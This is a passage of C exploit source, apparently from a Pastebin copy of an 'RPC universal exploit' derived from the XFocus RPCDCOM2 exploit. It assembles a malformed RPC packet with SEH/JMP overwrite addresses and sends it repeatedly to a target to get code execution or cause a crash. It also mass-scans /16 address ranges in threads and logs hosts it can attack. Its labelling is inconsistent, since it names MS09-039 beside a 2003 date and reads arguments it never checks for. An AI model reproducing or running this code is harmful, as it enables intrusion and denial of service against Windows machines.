  454. //? ? ?? ? ? ??? ? ??? ?? ??? ? ? SEH ? JMP
  455. DWORD seh=target_os[vers].seh;
  456. DWORD jmp=target_os[vers].jmp;
  457. *(DWORD *)(rawData+0x22a)=jmp;
  458. *(DWORD *)(rawData+0x22e)=seh;
  459. // *(WORD *)(rawData+0x62)=sz+sz1+(0x240-(0x71+sz));
  460. *(WORD *)(rawData+0x62)=sz;
  461.  
  462.  
  463. memcpy(buf2,request1,sizeof(request1));
  464. *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(rawData)/2;
  465. *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(rawData)/2;
  466. memcpy(buf2+len1,request2,sizeof(request2));
  467. len1=len1+sizeof(request2);
  468.  
  469. memcpy(buf2+len1,rawData,sizeof(rawData));
  470. len1=len1+sizeof(rawData);
  471.  
  472. memcpy(buf2+len1,request3,sizeof(request3));
  473. len1=len1+sizeof(request3);
  474. memcpy(buf2+len1,request4,sizeof(request4));
  475. len1=len1+sizeof(request4);
  476. *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+len-0xc;
  477.  
  478. *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+len-0xc;
  479. *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+len-0xc;
  480. *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+len-0xc;
  481. *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+len-0xc;
  482. *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+len-0xc;
  483. *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+len-0xc;
  484. *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+len-0xc;
  485.  
  486. closesocket(sock);
  487. if(atack)
  488. {
  489. sock=socket(2,1,0);
  490. WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL);
  491.  
  492. if (send(sock,(const char *)bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
  493. {
  494. printf("%s - send failed %d\n",ip,WSAGetLastError());
  495. return 0;
  496. }
  497. else {printf("%s - send exploit to %s\n",ip,target_os[vers].target);}
  498.  
  499. len=recv(sock,(char *)buf1,1000,NULL);
  500. bool ft=1;
  501. if(ft)
  502. {
  503. int i=0;
  504. while(1)
  505. {
  506. if (send(sock,(const char *)buf2,len1,0)==SOCKET_ERROR)
  507. {
  508. printf("\nSend failed.Error:%d\n",WSAGetLastError());
  509. return 0;
  510. }
  511. else
  512. {
  513. printf("\r%d",++i);
  514. }
  515. //Sleep(1000);
  516. }
  517. }
  518. send(sock,(const char *)buf2,len1,0);
  519. closesocket(sock);
  520. }
  521. else fprintf(fp1,"%s %s\n",target_os[vers].target,ip);
  522. // fp=fopen("pac","wb");
  523. // fwrite(rawData,1,1036,fp);
  524. // fclose(fp);
  525. }
  526. unsigned long thread_count=0;
  527. char adr[200];
  528.  
  529. DWORD WINAPI ThreadProc(
  530. LPVOID lpParameter // thread data
  531. )
  532. {
  533. thread_count++;
  534. attack(adr,0);
  535.  
  536. thread_count--;
  537. return 0;
  538. }
  539.  
  540. int main(int argc,char ** argv)
  541. {
  542. //printf("%x %x",OF_READWRITE,GETSTRCS(argv[1]));
  543. //return;
  544. //HFILE hf=_lopen("asd123",0x1001);
  545. //printf("%x",hf);
  546. //_lclose(hf);
  547. //return;
  548.  
  549. if(argc!=2){
  550. fprintf(stderr, "RPC universal exploit. Exploit MS09-039 vulnerability\n"
  551. "unpatched host - to codee xecution\n"
  552. "patched host - to DoS\n"
  553. "based on original XFocus RPCDCOM2 exploit\n"
  554. "modification and shellcode (c) by karlss0n\n"
  555. "downloaded on www.k-otik.com\n"
  556. "\n"
  557. "usage: %s <target_ip>\n",
  558. argv[0]);
  559. return 10;
  560. }
  561.  
  562. WSADATA wsaData;
  563.  
  564. int wVersionRequested;
  565. wVersionRequested = MAKEWORD( 2, 2 );
  566.  
  567. int err = WSAStartup( wVersionRequested, &wsaData );
  568. if ( err != 0 ) {
  569. /* Tell the user that we could not find a usable */
  570. /* WinSock DLL. */
  571. return 1;
  572. }
  573.  
  574.  
  575. if(strchr(argv[1],'.'))
  576. {
  577. attack(argv[1],1);
  578. Sleep(20000);
  579. return 2;
  580. }
  581. int cb=1,db=1;
  582. cb=atoi(argv[3]);
  583. db=atoi(argv[4]);
  584. long tm=atoi(argv[5]);
  585. for(int c=cb;c<255;c++)
  586. {
  587. for(int d=db;d<255;d++)
  588. {
  589. sprintf(adr,"%s.%s.%d.%d",argv[1],argv[2],c,d);
  590. if(thread_count>tm) while(thread_count>tm) Sleep(100);
  591. CreateThread(NULL,0,&ThreadProc,(void *)"",0,NULL);
  592. Sleep(10);
  593. fflush(fp1);
  594. }
  595. }
  596. Sleep(60000);
  597. fclose(fp1);
  598. return 0;
  599.  
  600. }
  601.  
  602.  
  603. # Inj3ct0r.com [2003-10-09]
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!